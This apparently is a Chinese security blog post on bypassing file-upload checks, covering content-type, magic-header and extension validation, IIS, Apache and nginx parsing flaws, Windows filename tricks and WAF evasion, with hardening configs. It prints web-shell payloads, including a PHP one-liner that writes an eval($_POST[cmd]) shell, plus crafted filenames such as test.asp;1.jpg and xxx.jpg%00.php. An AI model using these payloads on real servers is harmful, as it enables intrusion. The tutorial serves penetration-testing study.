文件上传与文件解析

太过爱你忘了你带给我的痛 2022-11-16 05:41 379阅读 0赞

### 文章目录 ###

*  文件上传的校验与绕过
 *   *  1.常见的文件上传的校验方式
     *  2.绕过
     *   *  2.1 前端校验绕过
         *  2.2 服务端校验绕过
         *   *  1.content-type字段校验绕过(文件类型校验)
             *  2.文件头校验绕过
         *  2.3 后缀名校验
         *  2.4 配合文件包含漏洞(一般出现在php中)
         *  2.5 配合文件解析漏洞
         *   *  1. IIS 5-6 解析漏洞
             *  2. IIS 7.5 解析漏洞
             *  3. Apache解析漏洞
             *  4. nginx解析漏洞
         *  2.6 配合操作系统文件命令规则
         *  2.7 CMS、编辑器漏洞
         *  2.8 WAF 绕过
         *   *  1. 填充垃圾数据
             *  2. filename
             *  3. 更改请求方式
             *  4. 利用waf自身缺陷
 *  防御方式
 *  参考文章

# 文件上传的校验与绕过 #

## 1.常见的文件上传的校验方式 ##

一般情况下我们会遇见如下三种校验方式：

*  前端校验
 *  服务端校验
 *  WAF校验

## 2.绕过 ##

*  客户端绕过（抓包改包）
 *  服务端绕过
 *  文件类型
 *  文件头
 *  文件后缀名
 *  配合文件包含漏洞绕过
 *  配合服务器解析漏洞绕过
 *  CMS、编辑器漏洞绕过
 *  配合操作系统文件命名规则绕过
 *  配合其他规则绕过
 *  WAF绕过

### 2.1 前端校验绕过 ###

直接抓包更改文件名即可。

### 2.2 服务端校验绕过 ###

#### 1.content-type字段校验绕过(文件类型校验) ####

这就是普通的文件类型校验，检测上传的文件是不是content-type字段中说的那一类。

绕过方式：  
抓包更改content-type字段即可。

#### 2.文件头校验绕过 ####

文件头校验就是看文件内容中的开头信息，是否符合规则，例如如果是gif文件，那么文件头一定是GIF89a。  
![在这里插入图片描述][2021040615423465.png]

绕过方式：  
在木马内容前加上一些特定的文件信息。

exp：

GIF89a<?php phpinfo(); ?>

其他文件头信息：

（1） .JPEG;.JPE;.JPG，”JPGGraphic File”
    （2） .gif，”GIF 89A”
    （3） .zip，”Zip Compressed”
    （4） .doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”

### 2.3 后缀名校验 ###

如果是白名单后缀名，那基本无法绕过，如果是黑名单规则的话就有机会。

绕过方法：

*  找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
 *  可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类

能被解析的文件扩展名列表：

jsp jspx jspf
    asp asa cer aspx #IIS6.0支持
    php php php3 php4
    exe exee

### 2.4 配合文件包含漏洞(一般出现在php中) ###

`假设服务器只检测后缀名为php的文件内容是否为木马，对txt后缀的文件不检测。`

1.  我们上传一个内容为木马的txt文件。
2.  我们上传一个内容为`<?php Include("上传的txt文件路径");?>`的php文件。
3.  直接访问php文件即为我们的木马文件，因为php文件使用include函数包含了txt文件的内容。

### 2.5 配合文件解析漏洞 ###

#### 1. IIS 5-6 解析漏洞 ####

IIS6.0在解析文件时有以下两个漏洞(微软不认为这是一个漏洞，所以并没有IIS6.0的补丁):

1.  目录解析  
    当建立\*.asa、\*.asp格式的文件夹时，其目录下的任何文件都将被当做asp脚本执行。
2.  文件解析  
    当文件为\*.asp;1.jpg，IIS6.0同样会以ASP脚本来执行，因为服务器默认不解析;之后的内容。
3.  解析文件类型  
    IIS6.0 默认的可执行文件除了asp还包含这三种 :  
    /test.asa  
    /test.cer  
    /test.cdx

*  `修复方案`  
    1.目前尚无微软官方的补丁，可以通过自己编写正则，阻止上传xx.asp;.jpg类型的文件名。  
    2.做好权限设置，限制用户创建文件夹。

#### 2. IIS 7.5 解析漏洞 ####

IIS7.5的漏洞与nginx的类似，都是由于php配置文件中，开启了cgi.fix\_pathinfo，而这并不是nginx或者iis7.5本身的漏洞。

> 注：新版本php引入了security.limit\_extensions，限制了可执行文件的后缀，默认只允许执行.php文件

#### 3. Apache解析漏洞 ####

1.  常规解析漏洞  
    在Apache 1.x和Apache 2.x中存在解析漏洞 ，Apache在解析文件时有一个原则:当碰到不认识的扩展名时，将会从后向前解析，直到碰到认识的 扩展名，如果都不认识，则会暴露其源码。比如 1.php.rar.ss.aa 会被当做PHP脚本执行

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

1.  其余配置问题导致漏洞

（1）如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。  
（2）如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以 php 方式执行。

1.  修复方案

*  apache配置文件，禁止.php.这样的文件执行，配置文件里面加入

<Files ~ “.(php.|php3.)”>
            Order Allow,Deny
            Deny from all
    </Files>

*  用伪静态能解决这个问题，重写类似.php.\*这类文件，打开apache的httpd.conf找到LoadModule rewrite\_module modules/mod\_rewrite.so  
    把\#号去掉，重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule .(php.|php3.) /index.php
    RewriteRule .(pHp.|pHp3.) /index.php
    RewriteRule .(phP.|phP3.) /index.php
    RewriteRule .(Php.|Php3.) /index.php
    RewriteRule .(PHp.|PHp3.) /index.php
    RewriteRule .(PhP.|PhP3.) /index.php
    RewriteRule .(pHP.|pHP3.) /index.php
    RewriteRule .(PHP.|PHP3.) /index.php
    </IfModule>

#### 4. nginx解析漏洞 ####

1.  nginx与fast-cgi

其实这个漏洞跟nginx没啥关系，是php的问题。  
nginx默认会开启fast-cgi，如果PHP中开启了`fix_pathinfo=1`这个选项，那么当我们访问一个任意文件，在文件名后面加上/ee.php例如1.txt/22.php，那么1.txt就会被服务器当作是php文件去解析。

> 注：新版本php引入了security.limit\_extensions，限制了可执行文件的后缀，默认只允许执行.php文件

修复方案：

1.修改php.ini文件，将cgi.fix_pathinfo的值设置为0(慎用);
    
    若实在将cgi.fix_pathinfo的值设置为0，就将php-fpm.conf中的security.limit_extensions后面的值设置为.php
    
    2.在Nginx配置文件中添加以下代码：
    
    if ( $fastcgi_script_name ~ ..*/.*php ) {
    return 403;
    }
    代码的意思：当匹配到类似test.jpg/a.php的URL时，将返回403错误代码。
    
    3.使用Apache服务器的，在相应目录下放一个 .htaccess 文件，内容为：
    
    <FilesMatch "(?i:\.php)$">
        Deny from all
    </FilesMatch>
    4.不提供上传的原文件访问，对文件输出经过程序处理。
    
    5.图片单独放一个服务器上，与业务代码数据进行隔离。

1.  nginx空字节代码执行漏洞

漏洞描述：  
Ngnix在遇到%00空字节时与后端FastCGI处理不一致，导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

影响版本:

Nginx 0.5.x
    Nginx 0.6.x
    Nginx 0.7-0.7.65
    Nginx 0.8-0.8.37

修复方法

1.升级nginx
    
    2.禁止在上传文件目录下执行php文件
    
    3.在nginx配置或者fcgi.conf配置添加下面内容：
    
    if ($request_filename ~* (.*)\.php) {
        set $php_url $1;
    }
    if (!-e $php_url.php) {
        return 403;
    }

### 2.6 配合操作系统文件命令规则 ###

1.上传不符合windows文件命名规则的文件名会被windows系统自动去掉不符合规则符号后面的内容

test.asp.
    test.asp._
    test.asp(空格)
    test.php:1.jpg
    test.php::$DATA
    shell.php::$DATA…….

`仅对window有效`

2.linux下后缀名大小写  
在linux下，如果上传php不被解析，可以试试上传pHp后缀的文件名

### 2.7 CMS、编辑器漏洞 ###

（1）CMS漏洞：比如说JCMS等存在的漏洞，可以针对不同CMS存在的上传漏洞进行绕过。  
（2）编辑器漏洞：比如FCK，ewebeditor等，可以针对编辑器的漏洞进行绕过。  
这两方面的漏洞以后单独成文汇总，这里点到为止。

### 2.8 WAF 绕过 ###

#### 1. 填充垃圾数据 ####

#### 2. filename ####

1.  多一个filename
2.  将filename放在别的地方

#### 3. 更改请求方式 ####

#### 4. 利用waf自身缺陷 ####

1.  删除实体里面的Content-Type字段
2.  删除Content-Disposition字段里的空格
3.  文件名处回车
4.  Boundary边界不一致
5.  多个Content-Disposition，在IIS的环境下，上传文件时如果存在多个Content-Disposition的话，IIS会取第一个Content-Disposition中的值作为接收参数，而如果waf只是取最后一个的话便会被绕过。
6.  利用NTFS ADS特性，ADS是NTFS磁盘格式的一个特性，用于NTFS交换数据流。在上传文件时，如果waf对请求正文的filename匹配不当的话可能会导致绕过。  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]
7.  文件重命名绕过  
    如果web程序会将filename除了扩展名的那段重命名的话，那么还可以构造更多的点、符号等等。  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]

# 防御方式 #

文件扩展名服务端白名单校验。  
文件内容服务端校验。  
上传文件重命名。  
隐藏上传文件路径。

# 参考文章 #

[文件名解析][Link 1]  
[文件上传总结][Link 2]  
[文件上传绕过][Link 3]  
[文件上传漏洞绕过姿势][Link 4]  
[服务器解析漏洞][Link 5]

[2021040615423465.png]: /images/20221022/6f7b3bd9764c48e6a1c188d03c6657b8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221022/aac6818168cb4e1faaabcc0a69bb2799.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: /images/20221022/a1befd7e6c804c8686ef6a8828229413.png
[Link 1]: https://landgrey.me/static/upload/2019-09-15/bfziuxyd.pdf
[Link 2]: https://masterxsec.github.io/2017/04/26/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%80%BB%E7%BB%93/
[Link 3]: https://myzxcg.github.io/20171116.html
[Link 4]: https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/
[Link 5]: https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/